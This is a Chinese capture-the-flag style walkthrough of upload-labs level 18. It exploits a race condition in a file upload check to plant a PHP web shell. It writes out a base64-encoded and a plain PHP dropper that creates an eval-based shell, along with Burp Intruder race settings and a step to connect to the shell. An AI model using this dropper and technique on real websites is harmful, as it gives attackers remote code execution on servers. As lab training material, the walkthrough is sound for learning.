upload-labs第18關條件競爭


條件競爭

 

 

從代碼中可以看出他是先移動到服務器后在判斷,不是.jpg|.png|.gif類型在刪除

我們可以利用中間的時間訪問我們上傳的.php的payload,使我們成功getshell

構造要上傳的payload:重要的事情說三遍,檢查代碼!檢查代碼!檢查代碼!

往往一個小失誤從而構造了失敗的payload

這里用了base64加密

<?php

fputs(fopen((base64_decode('c2hlbGwucGhw')),'w'),base64_decode('PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk/Pg=='));

或者

<?php fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST["cmd"])?>');

上傳構造好的payload的pass18.php的文件

然后用burp抓包發到Intruder模塊,清除Clear§,設置Payloads選項中的Payload type為Null payloads,再修改Options的並發數Number of threads為500

 

這里我們訪問我們上傳pass18.php路徑,用burp抓包發送到Intruder跟上面一樣

(手工方法如果你絕的你好運的就去吧,我反正是臉黑,加上沒手速)

可以從上傳pass18.php的包如果是200狀態說明訪問到了,有時后訪問到了但是並沒有執行到我們pass18.php的代碼就被刪了,(建議再加多個發送payload的Intruder模塊請求)

 

 

過多一會我們的shell.php成功儲存到了服務器

然后在瀏覽器訪問我們的payload 連接菜刀

 

 

競爭條件原理介紹
網站邏輯:
1、網站允許上傳任意文件,然后檢查上傳文件是否包含webshell,如果包含刪除該文件。
2、網站允許上傳任意文件,但是如果不是指定類型,那么使用unlink刪除文件。
在刪除之前訪問上傳的php文件,從而執行上傳文件中的php代碼。

下面有圖

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM